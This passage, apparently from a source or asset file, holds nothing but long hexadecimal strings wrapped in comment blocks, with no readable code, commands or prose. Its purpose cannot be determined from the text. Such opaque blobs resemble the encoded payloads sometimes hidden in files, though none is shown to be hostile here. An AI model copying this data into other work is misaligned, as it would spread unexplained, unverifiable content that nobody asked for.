ea5134f665b181c78e943a6735672edaaae36beb44ebb1433a95c108a45054ef22ee078e0d3421a05090ea7400538532f02d52f5b05d07707f3508e261b5cb0c282d5fcd682d26e6afd6c0d865dd20a5531c9150b2d5e1eb44afe40fa72b41a2db8b112289a413996c29456558249d20d2fedd2d161aca7d959f2c7118c80692205ebf52aab5e23676063ff4adfecbebf224e0ace1494c159deb6689366ec112d90fa15f08833e47929fd2f8a5bdb007479e49cc868e4f4ebf7f9808d557e53ae48a707aedb34ec41eb276604651b5ad6a2b4d28224171e8ccfe7c444c3ddadfe8e5b473ae6e79a2a8bfdde3b981d775513f968d701e8ce92122a541ca6fc5e3172bee4fb42faa8dbbd531f23aad0812b5422d999e5f932b9027542fb1a9fdbd63216cf7f21900047164273a0ff70cae9b7c3eafe28873494e696f608586ce139e2fe9c60dbf2503029efae18edf1df4a6843fbd9628403086b11d9cf16c82328f612f21ea827900c8d163eeea405b49b039eca721d25a11faa38ef7d57875b0a9ed6b7cf434852141e35761c7455dacb24795f8b59d5e5ce2fda5b2a212f12706a29565a729c8f5aa36f191c5a34c31d1b793047917f194bbf2fd62b64c408ae792a8cb534bdcf1700ba50e73de1c1e78f099e5abed944ea7bd431b7b5589a03ae578d744b0a07a5cd30ea80cbe13b909343833e75ea2fdf65b5b40001d3316d7e9950957c5ab6bc9da1e19df478c07f50fd0fea76f4e6d5cd1bba26f4252bb56665ed4030d905ed4b9c18b1651b4cc58b60a7730bc7898a3b8eb91bd3e0dcc82f1719de38e9ade6bf15fee9abcd4522e4c99397cf330a6a65f3fb98188aed4dc6be06392d72e5f84729503963724cee1ef22877387279459d480c6425ea0ea93cc2ebfbd122b15f3186ada1d91afa96d7151b9ebde2fb5507c49d9ad55d3e692af8f3eaa235412fad69da7c0d5a5c321978897ceb9a2fb9a95903588d41f0df82551eb7f0430e2682f2dd5cf5c5d1875145a6cf59ea7e91dfce736c11000effe32e18320445ac6c158b2add20434c7a61811b7b70e9a565dd8da82bd993e8658f34cc4a881f4d3db99ddc031b0b98c522d44fe550338e0f4537c9d0d8bec86558b121c86e3d4116b5af629d85a42d0a3c751296946e7adb7e22d9cfd7ea51851bfd9468d6a5d3c7387f9b6bec781d0517ae05890fb30af326fa2ab0a37313c21ad2089e419cbc1262b6d04669474df9e27ba863586a9d3c70932418382a8ec90066dd1fe9727ebb4501dc8b3bf79cf0efdcf90c599615307dd478bb61e379c11b815ef9eae7d12a7ba3b95185065dfb8f1cfc8eaa8655c74eee3e4d80f7db0383de362d89cb227bda3799bd86d5f2a2eb483a58d109563fad005b961e9c196f0cf366c57127aad32366a3099d3130605c23eb0e7619432fd420e068285de8f25b91928d28c7159b9cb219fc822034bc9182dfb446a665705744c68c850875e05e129b728652aac6787e50eb7e1e6ce57260bd6b69889803c464a8d74d2548f222f6bea376d77280e97ecec080bed3e0066a39ece855e24dc4d31d4e95aba3f28b877e7c6ce66d8ded26c0a5abe9edbef85b6fae5b0eb7d7a3ef098e1c42bdc9fb4a475dba597c84454e7bac3ad4480155c9f29bc36f92087eaa11e4318659ec8a046e3b1e4b4da98823a0d7435f74b670a8407efa8f87324f48c19bdb8c1ecf74972f3a19c11f95101d67b9b8c833079ab8756d95914d12b308743dd3a99fed2cea12eaa0e3b37914f9d7f8ed4e22d99cdfc50997bb26f36c75970469a6e141985dfb98e1576424e71dcc122c72ba4b5452f3b656d9e60aa6d2e05877b1cbbd377de12f3a6d166c674dc8fa1ecf36d9f94282397d8b638c98da4a670a1cd5382a98124359e2c491adf47bf5af807704f8be84f9beb26a51b73fa32e0caa67f502e0d5eb53f893f88159fe5119df1cb04c8ac17d5bbe3b5807e8326f97695617714bb85c2cdfd919f8972e9b31dac6eea0b5899a739a0b98f90a8c5ea4240133ebefe2b943ce6c26902df573d42e1f4e3ff80e8d*/
/*2529be957e743b651b5ed59c0c72343ef9120db76402154afa90e29edf8124b4db4f86cb0f49a04f2997bde2f62a66c1bce69904d1cbe41fd64ef39e5d0841c3ef8238a55208b55daf01142ae86fc856ab2c6d99084b74b80cdb3b306198a9c27a6f3c521889bb186c8bad7259d8fb6166a033084367f2c689f63521c1e3ac933302dcab83fc954322fa95000f9157193c7ef8d14615a61966283f10b3100d34dde1fd5b869ac343780ef518069ddd9bc9cfa3f1ffb2f61bd804210e7b9aaa9216abde12fc7400ad3ab00900ea4c31462c9448801b72c222a7e525654fc88b607f586875d89d159d4c7a8c6cf355585fe15523e08183a7afac7751afb8fd1b7156646e9f50f557e14c3780f2b24c1e7d26da72cf20bba517dc91faf7895f9a567ba33b7cea5607c1cb91d149eff759f7e9d5dc9f0a57d820590f6fb17a524e4aa9933a0361d7aa0882fb986ea680b5e7b3f6d5a5b85fdc021c5adffe558a72830481d8bf70c4b01938962b069058d8b6977a2f926dc7effde85f9c3a2b098621ed0d399949d4d9b2432678a0a97b16357f149c3b7943f649040569ee754f340efbcdcd776b76970276fcb5b442549c43846813dc482e95ea644490e15c9a0c5f31117cb8c03b908fed8c32a9ec890247a83dec2a2ba9330b7ff2fb06eb278afb48681965ae61de65ce48771903a754cbca8ed95ce327ab929980bd0242edd7c3010fb40fb13db44147435df562c20f9e738c7acb8e2b652f21c88c8fe8a94435e6e579dfba78891e98b16fbf8adda74e644b3bbf92867243e5c7fdc6de81573b074baf95590522f015902099d385651f7205699265997e09815f80f90dd9694a46af9c160fcaf992e14cb2965b37b51a986178264ca2f26baa1b7dd005242eeb95a4595a4115569c0de622e6b37dadba93fc05e3ab1509d1d4c0a0b0a9b91733e558a6c09fcfb6be02d85919a1760ad25ca8127853e9126bc0c682f5dfedd7683a139332fcf9e5b3ae8f8d62db8077cc006d2b6cf2c4e7af5d8d9e72ecc53fb80d19139ae7eaa93eaa01f5cafc7cae11691cddd16357020fd6a60f25bdcab888c76baed3604c1f218c915deb8c75a53720bcc526299baddb90b923f5a7956aae00ee6541b9d2148c1cc1c7fcf53e3dedb56c7a38e98dde5b159813e8d0bcfb3e7e168fe33bad68b0254e77352a621122e6b66b01de07b1bd025822ad53cb447ada8f35e6c245b41af3632495e9db958ae8695e84bf3bd98697b09f95b797e3bd90a1b13ea3d5d851553e6946d6f4d2129242ee20a4f355930fce83e7216a9bd1ccfd3e432e56815080527d643cdf875703a104d8ef2b29c8bb5deefe7d44e065f1d6f055f7e7dbf56dc2ac612892f2ac31caa5aba2d27cf812fa6a2f20dc6162173ec611f7a541cbdaa2d60d303caa33d5fb7dcff37be9b837ec5cc940719391e05a0ef92688b7507e0c7d9c0052f744c71dde099765489873afbbd5a5b706caab224ded6414e94c1abd9a12eb46ccebe500e4d2d829e6f2447af27a9424c57ea1af236ddf82030ccbc13b3a0946ad822ef4902cf106dab6b9a17497bd0213f778a37a97011190a4a657bcfbaaae1af9529edf82ea9df5e6faa36c808d518c91aa5d2f7abf5a3ad9c5e4e688761f91824f9787d948f6817296bc4d3a41590009d615f171a6ef6b83a9992364ded569192c185b36829b64d025266a6fe097c8cf50b8bad37cd2af7d5911964937c729d23fd1478a3a199c9f8fdcfd4c0b8f2a81097c428135137d26f74055326c4189119cad5b259444db5a5de8eaaed6c8b031b35dfad1e130f4b10d5a5931e85b5b89602bf26b38f046d50febc38b1b447d91cd67928770d00bdcffc46be52e6bf0f15403e4c2fc04e3da9846d0048b5f6fbabed8ce357fae54ccb39034e2d8669b2a051dfbacbef16a7355e131eea358de3659108ce19cb56edee4a11008fe536ea7031a674432fa4d54a9828a60629a4832bfedbf7a885e7728bbbd63922345553023a3fada06e0852fcf35fab674f51fd4c28252b9fd9f40301aad84dd2029664e4b93f5fc2fe3005206b99879c626dd83688ce9b3625e8f374a06abfa4ab67796198b7fd275f3d71a9c1404ba26ec4373e12abfe6a1a9f661233726a4217b2a3d77f73145af77429f825d5393f89aa6cc9fb329913a0cb51422d15ad049acda5df669927fcf86aa78b530f8d454e929c1c7512679308bb03c8fe43bd89ac9df073ff2748c672d56f6d058bdfad7129b91108313ff7b5e982d44207c4a893c2d05d6cee7c38fdc49cd222445808c52aa24524b4526412be4b741e73e91bb5f306d21c06ac5a632b93a96d427baa74fb83970c008fea2dbea2af6df0436d05bda3f1890b1162944ab3cd5206a696477b1da7c3c96c6a4703993053a74ddecfca2e401ae51b54ff1cb9b46358501ae205607c8d3c753f087bf8864a6a936d0444263059cf42f6cc07d817ebfaa14b091b5f352d5f8d16346f8ee7f94429d2c8f6779a9fa32cc9053111f31c79d3f0780827eb229ef62fda314c33d381ff10bde295857739fa1d719088a3fc9e3d05aa28daf40ccdd35bbd8e0723f6e6a1e59aab4506cbe59dcb1b7961b71d54adbd766a11cfe62494278a44a4a868ad08039d2a07075b5dfa086d1e4a1cdbcfc43c462968b2944ef7232ecee9a193a9ed5755605be04aa980e1739f12ef1ccf95a92060bad56d56c0dacda0e6bda9e259e262b4f2388ec4022da095af15cea58c503aa57186312dc91ff0316c8cb3ba821d747645291a953b5b524a3ea0441576600da56eae76f32fbd136c328013df4990274d5da*/
/*ef92261e2b7a5ed71d8226971fed8cd6e57be9321c068cfd08fe21f4558aa099494d0097d57454c68c3213bf2858c05638377f15f7a56f43b2199d8c45c6484e1e1ccc635e9c11dfe702cd24fe4f01edb7cc1397b7cc6771b9d58d1081d12274e9c4523a19ce50a8c2706f0f2ce1b5cb6ecab48ac4d228d7e7c8adb6c90fa9abdbf929c2c841cbc0b22e537a8de4841d355f9d324f67a0add92614a6e9cc2cff388bb9f05112508cb06923297702a953c417d897090502015a770aea3ecda4aadefc045b55f0edccee837817e2fe6f1e616865fa3e05d8262ea4fa1e5c04964d43ba29dbcc5109c4610a3214f3a400123e6889a0cd46526c98efbc38baf169588e2deda4ed3af81873ae6d023385b28c5633049719b3c0e0e9a765698a2d0f01edf0f1b64eaec6188eedacca4551a1967d75244de868e7d208e7fa505112cf770d3e15b2978c19cb3d4aa2bb6e397ba6cb4ca9462d09b4f076d17d521f71ea1cdde1ac88f62896525e371692b22d1c7d11d8fbbae12fba8f0cbb4af66887fbbada9c0270cd913c3ac383116f90ad111d0833602efb6ac4da09b56b6d4aa1a645eff4ce3ec3028e47aec732b22c622fae85158b257698c3e235a530b130f4a6ba25e208352075772d9f5b165421ace6441de9fdb400fce48e3fb09f6ad1b0c63b03f8acd8b591247557efd488655e6af32cbca84124f0472a83ceae3598b07b51268c473f8bae3cc3e193dda52fa045ada5cac4d57966417e10ebf6f1a0516877b61c516ef279c02ee05f913aa82a47fc6d8d33c4e9ec66ab51463a0a195c0332e10ef404f84f9c50272da29bcfa0e72bdf365dbb57ef70ba6b2f65eebbef206f4f2f2472600a000a4ea44e90643b916a57da878c4cde36262b8789ad76c0c7aec8d284bb34a8b2d6479c7d77475a95c8e8802b744fd4714193571401e19c603610f501276cf567049d591d4f945ff3f48bcea9cf11d3f575e0faf370feb34aa3e3aa50869f5d6836b13752ee424eaf19294e7dbba28a304167eccb4294eba0100730f823bb290617647e28b3546f9f8df18f425b49c323cb3a66b0e7a30699c3a4d94a2f5c59927e8b8c4cd609c0b1b2168a5ced9acfccf87de12b9adc85b234a31d8ff37c5c750d10be8c32d7ce5596e4939e37c7adbc38dc2277d9cf5d3b12357dc051a34a1c919b2b1918275427b5e32a7efdd0178ffcfb41427da01c29a7857091f7e71c17ce3c09a69611c9de6df2eaf48544163ef7e1b912878f5043ef74355db9e2bf65ef97804058c34eb04423fd0dbac0432b25a5b7253d028955ed230789c0ad2fafbe996c94e12074bb7c569b28553b083b03307ee08253940323f0aaf5a60439e885a7faee3230f5a41abc1ecb4d14daf4a9150d23536f9d74a607fb6e9f05dfb4d19b517997ee9b5c5503184a46fd95f62e1912a34378b105b267bf0a8f17000e336c55dc20e816402d9b1873073003d312d5d28aa7e9c7a9bff714341f031be08d0379f4960cf7f1a6ce16c23ae419af8a299380bf7fe11ef9b15756219d198504f70e7bb997a5622ad7200d311f25a0eb9e06d28f5eb7602b81f6da064610bea134448aed51483203f4a98426952069b6939adaab3211eb9f197c718d6bf42162e919e38717db502365e2f9f2d6b0136f0f6ebe890e30c9457e9a6ca6970a15d0cb4a2606ad427d880aa1ebd0e684ffe7743d7efd2ccb6dbae9d1ddd2f20647b6e46f1c31fcc1eaedb22f3c76ace77efc3f6bea7a7fd2891ec1946bbe6902bc72ecfdfc53bd529ac2071a53bfa43fcc0f02a4adb60613323e00e2122363c2109928c2c2e52dd1edf1f2ba0bed386b7f38bdfc5b758f5b1a31c54fc724ecb0aceae09c78193ab20283d71a789424cce8d0d9290ceb564972b4e75666251b7b3a196df20dd7b7bf92c60bcfa7183b07eb202079f8150f48b11917126ceb16340b9deb2f5807f3fa9ddffd0fb577f80e3f0049de896a84ea4b7dcfbe2dc1ba2665068586edb6cec6438c3d601c01250a6e37bf05f7f063024cddf424d9703197347c52153aac1db47c3855feba4e12aa0e5335c3c341b8b03c48b4a2b220896813903c6c7ec159388b7755eff40e9424aab260f00178963256892f4ce7587e322bfc236d5e82816ad500dc49d1971371ea02ad724d453add56501ccfb2e733c3db188fec23f6eba2bab3d57c1caeb71e0537f41009861cd03c910302a94d81e15ec385b90827543f4ad83213ee8fe625e9b53683522ec986192d498517de0369124c23196a1b1fe09625da21b36e55b1dda8fd84f4aefdc7a8ba471866053c83c63fe1f6c2cdb8f2aa2953f7436e42e050915667f76ccc2ca159a0a731d2cdfe5714311f70ff96701da1e894063dd29fa3ce7a094aba416f776ff4f8dfe3234c9818b729bc0e716b0c57cebd45533ee8a80bd124375cb7a675dc202c7e0d06e557b50cf0243f08d1a9f38fc07129ba7b6203b2dcf13f940a4aa94e1fa92f433af0cae35a275350801739f3eaff34ba188c57435e9db45a64faeabc4c38c5851f04c84be483f135137f583be54c37176aeaaa2d23673cb590533beecb6d4181967b32ca9b155d87eb4e0a7dcd9dcc98c46c27cd1abb2866bbe9986b93c1fdd149e81cf1fae76537ceff3f547c648e00da82b71f756810e71b8478773bdf6361a6f0a9fbdba241ee3f5cd52c0120be78e34a145bd56840ce048873a3ced0b6187656e32b16490766b65899e9de410ec0626bbd473188d15b0bfc71c030697ee399678613ab280e4be731f14a4a47947b38461297ba7235d6c9c6a59d8bf83f0ae310e136f4dace08243e09*/
/*1a898e94ef4872c29f80f8ed0961986a9109498de3b65d8163823abd5f9a4084412d2d68e97cb6acd96eb1ec0c562d28863d691bdee8e594349ec0cb40193804918176641f5dae27dc30f01fbde76dc153d4a0ea421ddf15f238392c6f93311b9dcaf94d1c14c81f80591af288ca0aea8c8544c0dbdbd12667f431ca486fc03023b504f023f0f4a3f2a0836cdb9da2d59ec4814fee4c50d0daaf9e804dcffaa856918e8a0a4513a30cec49579da0580848ce62bc91fdf4fdfa77d60f7c232e8ceb2a147728c73b5a49d6f6c85ce9e117eca2ad8e3956670053fe593ff755367f042bdee47139fc90fc695967f1e1db0385f0a6fd7d170a171366298a24abf5e19a7a6ca3777c0f7fe2f54950760033917884ff7b6207d0bb8236b79f40bad52773232212cfe708037debf045011c93af9f5e4a191ae63bd968a6e6574bacdd43365a337dac7f5f11a1b25f7545ab4c2325c29ff3c547bb663c5e10e8bf2afe356810cd5cd7e83462371867448fc34f7f908b87504696ad2693cc221e621a434dfebf7cc2f17693786e938f65efcbbbc2464907cc323ace00e282cdd9526a8a61b67f54a0a898bebedee6de1746610a543adf8f8b257dea2f34ece48560f34e8c4220c87435b209de730f2d3dfa404118a44fa95a7c91fa05309e58f70c0473f5abb86c8095b5e984bd3db4237669dddfb6958d9dbd210f27d9723ff86a069d16d64d1a092e8723e30acac2e173980f6b76a9e30d7ab51ea3e75e8e31be85ce03bfcedb5c2f488058c5661ed6037bacced54ad7cf3c0fc0e0e5d57d4514e306d04b64d7c2516b4b9b1ec41892d32d18f35a9c2a121ad5b12da8830d2cc1534845833cfa7e6b1d8b300376ee0fab53d4f829ecd9ee6630744496c664020b0c40f38e706308c440e418688126499c8b22937f35845803ced3fe00a07f49fe9f372670663a1c3fe77a1c6c0d12921623441957da467ca2258c3902f75fb61780dbcbf6389d44558bfd6563a72af48372f44ca5ac8d977d64079c5260f6ef785d4dd22112c2e2682cde2064ebba934ebbe52558b5fa7f709ecf8065a660c380880a0a00a7ec66089a1bf1df0399073849546976ad564a957f8f3607e68c7162dcc20103cb5a2c158a15180b849fb474db28a09abd29df6ceb7ecf340280e30f8e17d58c495624e28577737e94297a445eb44e29675aa4fdaa70febc31d13b6f2cb974d6395982f32476e0a6c24b2bd1288471420819810667b3e41ca8037754048a46aa6e44410642a23642831ad579152340d3fe8d3cc2cc4ba01b37a89a5429e6178483bd50947c85763af3403d31688747aef830b2653b60c06c9f339ba6ce9c136a92033fc54fc56dde66cee7ecb3f06cfed5baf013e0de3d32f7096294aa3e7e01689653a0468bcff3568d0a1a12beb75829192b4371f3cdc7ff05fb79a4dc6bde5c47c630283bb4c9bbed86324ef6398794a29cdc7a47d31467f1e761ccd591e7913bafa0d02107dd7093fd3afa9cdcf7077e7e9a68680db39b489b5f7908067f5da5e95f038c9d69cc7f01064e97c926c397c9430cf757e7720d219564346a1e0acf6432696f0cad92b5787a49b709ac988f234c4fb6948055ad56e2fa23d20aee9b90f8b0b4b7de6890d9f03868e65a416eade7ce5b62f4cdb0890c5d079fa3a452902989e925a1024d0c274638e8e6312fe78acb0c68be24c5cdb9ade7fb6dd2d098bad0578fb6132e4b1059ebc3198e49f36459ee394879828d5c509354dc7c3f4306d8af31ecadb3942ea0b8b300b2116b49aad5f0a3f542be57ad28265ce982dbb994ab947b53a1d17b0cee40353bba8a45d9627d5364414550e9f32dd387ea8bea5fd010d2aeca5f5855df44c28828f2b4b9c0c0e3874027e6c3069228ed30a9f2e578fdff14089bd31ba3d0c414da79274ae43ce97cb5059ef1160af140b1137c0ea48e2919e6d8f4238ba6888ab0120caecaf1384b289b55bdf497f0fe5f994d4636a87b173314747fe928770d41c8306346008e1966210a04e83cae21f0b2105294d09b62b7bf6e6c5597eef0947524cae4f4b728f87dbc0bc493e2753854cbdceff5791c87eb00c2b7ab092ebdd7b1d03ee2a865e4cda0fb0449397c25cf31faa11f54ee395347f86334661a062322c699f58b69d92282cbd07c2dc50cf9f97d6a7a2f2e1336f9d15abc7c5b356c431ce1967fc178ff769b57b2b610289814bd84464206d5db9c5cb4ab28cb324eac4e1d8f938205c54c751848695cf056ea9f181b1241720fae786039c120d3207c4fea4f1daf73ed41b73a4802de7ab06bb002e8bab7a12ddd985eca424dc900ebc5eb77aff703856ba73330587130c059d389fa652fe67f7e13e44854e711752d7ebd4eb7e8b08ee2f1546dc84f6d9dec487d02384dc03ffd01cb7e6c6bbe0d5fba3b0efc4c61afab1a73342fd772a9c189fe85700ae93372b4ec6fb5b451c0f78a5a40e484a40d49665817fb99cc79dfe12d482e60fb7f2691f5e3c4ea42e02310ba58d9204a6be2d5bda8f17897f4c8b76d9d4eca2676c1442e6fb274e96cd99a475b05a473310736f40c9daaa85b9a55f8211557f19f82a74d926c6bf88311ef3ca414206abecf8ce4296ff28b7933f4bd9f1019ca713c76875d15b9d61f265f3d23e1ef8bf96364cf274c90afaa184551be070f45cadf2b38cd54175d4beb768bf657529d720f5e81910567928f03a00b9a8af63a43d286426aeadc9f355c168fdec531e6261f1c8b80ca0ae0ee18615da729f69b2206ba8ba94d25f414635c32216694db420eabe1f2b30576affcceb447a9afe5a841531f31*/
/*352e72110efa4296f0803ca9dd7589f15e5b0322b0d191f2f7de5df5018df40e129dd4faaf2f1d8ea3d9060ec9e964158c9b814cd654b5902733d64f6b8e1e8ed0c7c8cfa9a257370a7e7cbb79a27b7cfe2405e2efd5d1e86a6f166183ef1c47a9215b456eab673789b470c8373854e20fa9aa6ae4b94267cab8921a2db87ac946108ece22e99425a402e5f58324150a954cdcd4bfdc4dddb2e29e70b766cde4c9c63e84b93616443cb3f2cf26b96b6d0a4013f4400838431fe5285bcd1aacdb08478095628cff864613738d9f5d801acfe8fdd0ded226c7bf9afada5c24df1106838ef4e615d087e2f411bd51c3b31161f242df60959efb23dc493e2be58c856e597fe6765155e9ceb5247ff2b599618a023fcfe7f92b76a21bdca009ff8bdb8db36c3fc40a0bccd4b942d143286a66b4a36a2dce7a4907a1c9e869981ba3e504aa24c6bc9cbbff7d05e7220aa8d93111953d022a6bf3b7bcae43c2b3d0099f36c859c15b6290d6bfb3071271306cb9a9bbb1e536872b3ee5733602730aa8fc4776790cff30787ec83f243400d52e5ff61ed2b0f3add7823b1d38eadcb6d66ff20964edead938fa1cc0167340beb6990c052e349886eef32258c982c36e6df6f197478b9bdbca335020710609258bfc3854cd3435966b821ccca6165fe716ae103baee6e785fff56018cda6ae9537721262148e1a4a7c3f5a29b29f261600193463175dc469a01b61538deb313d95a5d498a53f5209ff8d119e8dd9e476978e5bc61182aa9bd8cae1f740212de5e77a3aee830de1e0f23d2aafa3e335c5717aae2a1ac3eaadc1e097b62121066312cc15ab71b1a5c97dd13e065412c5e42ba9c2d8c350038b3c11811354b78c0c3bae413bc3216dbc6534c22fd38b761a96b39776bf4004507cf4b1562e3ad78fba7b89dca8380167f5eadd0dbce70e4feaaf7e55711780cc51dc4122e103ca7a532ffab38cee23feb4970f5cff726ac338d3cce11ac1b39b5367802c126dec3285bd4f95a6b885be293abd87af6209a87aff98f48dd207e1f23ce8bf761388d86ed97db4c6491a3e715b0f71b9ee7cbbee12482b067bf2b129f01d6b767fbfe23fbd26d5836e1cdb6b513610dec233c766f5f4f8a0a4f6e19fa23733a91fb702e7fb8b2d504734cc024c39f452891216967f2cff4e907e2725db6e52a1d73de26264055868f1af8dafe1b195057af18c24cab5359df8dcb1b26f36b06f9850a939d34d6f66b8f2deaa271812e7fd008f49af789579e9f9b1eaa3d63230aa81f54ec27bcff994bdf59902f442fa3bfa9945507e3644e3ab60c101e067feb2b5b2f11f009261839f2532e72b518bcc7b47add673e33e9171fd914d3098ad811517b3154f91c9225269ee7ac500cf877aac0334ea7ba06e10413e23d8be97991f3c8ec2fa0318a7c2d69d22636bf37ad18a2d032e76c858afbcea92b5170455b11c8bb2f98aa35adfe36974c5d6c545e2407c599f777de69d4aab447f30cde768048bb094dbc657c23820faf545c9ef97b043464056498eca8f44a0a6462bfc6408c37b270bcbbca3e8c5b1fe6d8c7acddc924ff732cd359df8ee5fb9e7ef989f1e32e7e71edcc53ea22c577945db8617eb1f3a4838f2d2dbaebf3396640b85b2dfa2338da9215d932d1c8ff82e59d567533f38e952db2e4feebe7590336591f708de0a49b3a67bb4f5049c236e6e6647f65a8975334f65e5bbc057241bd0c1a96572caa9c0ca10fdd1db68a21474e0b958661b34d8827139cc2c7a094a359ac9d7da0ca776c74bb47bf6ef90ad1b33ae7be729fe6eb223de6cd8ff4a96105203cc6ed1bc0c8a6ce61ea8fd79c523e2f53865cf49f84b3aeb749e0b9df24249963fefd65ab4d5dd5519402fe75b3d958adce81878de60638ab776533f1cfb0b44c031a1a198ee0f21a9a848ff1b506ff6e4aa9023b38b4b4f558f48780fcc568ea76c92c78a57e7cddd7c1d57219aef97953a197e5325262ff1635b8320d501dcc40f2fe1f5d6907288053d4b66cc1a483f0c46cbf26b94a811bae124d1b1d18a590ee4243b05560d41455cd0216aa5eccd30c49e864aa44afa804dcb836444ccd8967ef99393bb71dd4fa684c2b6d66e13d9b6e5a1b1fbfa196be1f6773243271ea676cb66ef369e72335d64c51ef63742ec5d837179a4be5fc3a97e4be0bcc0d875f1b30468a52de4fb621313ce22278710eaebf4930f0e5ba4036df1a10fe40597fff62d62e32c6adf87f9b2b6c725f69aded0713a36a83804753e9cd2ea792809954c2c2c68888e835b995ad4b7a1d987072574d615e8100eb3b44e2904ab9d03d983424ca1a5e95e202e75c73a469db660470c1831e07a649ea2fe8e8b3e0bc48783aac637406887b4b58f0822a21ca7ef0e5a760adada22f96f2749edf2e1877bb645fe1be6222c88f2218cde526c9bf0a35d6d5298a5190a073a90ea9e3ebf9ae6868397ecc016cf5f772134f0f47d7574e03f3ad7d8abf74db301b001baf5552dfd52742ecfc0c5f1dcaa77e24fde4b5f5c983f16bd5ce16aa22db8cb1a46cc865216e85f62bfe63c15c7f4381440194bf774667a2fc1349114aed1368f99d3bf3d14747b561a350b277efcf825d5d139c34f560ebc373f32e971e330ef291d03b6f3747309d3763263054e90f3c7e9b840e349dc3c0908ca78db942718677ba6b87f2e9e417595d36b8974d5d0afd922188c880e530005374979a0558fc00602af8768681175b85a926051d50e267eb1ac46e1a3c370c7d9826ec63d93302ef0f98341c66c8d720c989d1a1965f361188b885c9ff0f28475f2fc9636e9ae83*/
/*3dc6bec26648742f83cd2666e9df84b7a9fb547b5ae8045964c901833862f2e047d2fe982198e49d7c3aad19f6d497e239e2737f8a7eff3004fc091d249fcd8df90f00b80fdc8b637bb834578c3a2c7e2d452c49e704931ee4e99a82dec7a277edb29e4d79440498f0b72b71d2f7b9462d9be1648127a3830add96981eee40b025ded8fd0c03cb6a39dc139d0a350701d6d74435e2f6b4a62377024a8c26cb0faae28fee4fe76c6d561f09b2fa72fa79b0fd6cb52c398653e654441a69160fee671231a75108ba1e5f77784075b9513a866d102baed88d9088a6bd570086b5a1f77d6b58a9dce6ef1098f58b639f07a52af46337ae0b300423097a6b3872f4953ca71241e28bdb3689114001a8fa5bf4be89a97ad8b11c5761d6ddef275927a1176b5469d83c0d48de93c875c948a5faf1ef2b7092f53cae43412476dfd3887c6e6c7d651b821ccc8bf88bbb3874389a392d289344bd840e20e0936e3a2989071ce94c5839f797a0df456d6286c72adb7599e42d70d95a7aea2c624503937357f7450a05e81941e14414d1170849858f6b2fdec2f9a15cfa1ea1e664be074fdfe62de0629589789967047dcc0d6fb062fb555fc6cb9a0c7040fb3aaff6623bdfeef458e8925247ee8b577f1cdc64c91bdefa23b509cc55e24d3c865986993449b22c025986bf915eb1f2bbb369253a0c6feb773ccf05898fd80a0be3467d2f371190c776238a653efd1bc7c292a7e2e3d8d44882a243f33f64dc469b048cb435b1785086103be873296e874a54989d0c692b3df7d021b52d3beaee75ca36566634c4815fb04c582ea634c12cf189cefd5cc714f59ec95b9ba40fba758fea2a349a564bffa02eea9af636cc7e16c62faf4eee6300e69714275bff9aa34a3dd13566b7f98a8efb5730c46c9b005c596a4aab6c6731f2189256e1d81929751a4d0a05b9dc48bc72784bf1b36630e5c55f6ad4fdda56043b1b75509608b3aa07061d30315b08cf548d04971352c148972f3ee5219138d709a4eae5f6b7b027437a9ea662a041ea1a0a786ca6514369c92390191cf6bb8225fb5be596aa755242d856e22832f3470c888efdadd499ff0b004a041390efc4bde6cb3d02e051df1eaa22a8b3126d9616142c52dcb6b6cda10fde9ac1ddbd752b13f3d3c790824dee83ab62c58ca4e20fd78937765629941179e76148e386e01a67b0c35cba8500d6513775473b349159e7d98a2877c21a8655b57350e4406381ce9d5aa321d12819d5e8b41c145bbefbc06f1b0e8c070d5ce9a35e202a70b729e7b84b6b69fc9c0a544af7c018cc03ed322d076e79b0dfe78ea1179be351b54d8dbb6b5e2d7dd8fb234c7dfb6f60e8f6ee5be92191c1aa837f621a980536a3a11af27d27854c5d7df9dd1bc75e630be2b8fb1051dedabdf127d37c1308adf378d27009211dfbdeef2740b2e63ad764490857d4c7c89daed4e20d0839bbe657ff7bc97248766a8f6de8d8c22978b9b4c7511c7ee86d4344b0c7d65c834efdac3ed70183d24a432b2a316ac6822e4709ac9590392b6428c18d3f5193ef257790e7014047dab15064472791b9787381c3987f62b4835b7434e248443002cba7d9c674f279405a21a4cadd594b9b86c29c5786665560d3e64df1a1d7da7304edea4044f0507760a79e30941ae4c1821e4703a78b53d0bde086cf085b39ca170a6ce0adcfea9647c47912a3bcb38ee0f18b5fc0b0a8b7c14c1c56a360680b5182b88c68160fcc98606661a68ac851aa0b12ab9e9dd72bc153822bd78f411a3a78b353b0e164c7ce2906fad0c93d0d2daa2ecc7f543467a550027640209efa85bf623200646d3ed667edd8cfa2233b2045d4a40610c15bd836e45ce62cf82cae452f3edafd5ec1cb927e87d9d7a9588bb74a09ae657094c55d6aa8a54b98d3fbaf92ebd425efac36fa192f866b0db30ac961fe28c8671010914f5f52e6d5bbef4b10867004a32a6db8ade9ca0898e14681656633eee553efcbb363826ff8d133681311168b58a6c0f723d3abd05795d964f15a3a476f3b099062870ed8a06c22c9c9eb40b7db5843192f6a179683b429a5a1cb71ee03246f2ea85c82f49186bc7704bdc5534de5e603a98a85d0e28930f6b31a01ef4e847300c97a03092ad20d82388d1595cf6c2b89c02d9cc0f81e5759eca28c8b3b898f85ed361822aaeaa2625792971c6cbe88d44ccd569a2c0bc875b82c0c8a0cbdeca3b0a81180e322875ddb208ddfedfc966a717f1770e60b450a98bc1cd8cc83bef9474dc20905736ded818a7f84afd89353a5a6481804d098cb1933b269c1cecd664e5fa5f8f8d3c21dd86627656c31b29c2d0e52c36b4565fe580147eb1631afd0a5eb50057deaaa6dea04f17f5344c11f0613299f92620d023a9dff79dd3f8eb0eb2328fc46089562acd8dc4bde6e9dc6399d469f07cc63e78582e70fd448c93cae17e30ba66c822712ad43d991cef827249638929768d61c0d95a1459f07d81a26d2778dfef61fd9971cda9024e7a20a183a83f5d089f33cc853950ca3afd7aec98578d6b03c0921fa0769d7ddc0f0cd1e94b2fe7476a16336c187c99e636b0704c0f4bb48099b814c6c44633e751b6bd80a836c08d6971a07d15b89d85897a4ec680d7e9b3df5a1d44e80711df5d803fb0f6a909a90254e0c65134c4d1196710fe4c9c3e1c8f2fae2be40486bfe55795132cf238d16cd3f45350e4ac26754c272adb128bdd4960ae902d7251ce082bca9ec5ef42cc3dcf4d9a077b56c2ba7f29ee9f137a7e2626b85a3e5dc66ce368f66bb8a9861e9d53fc80464c4e4efdaf80306818c*/
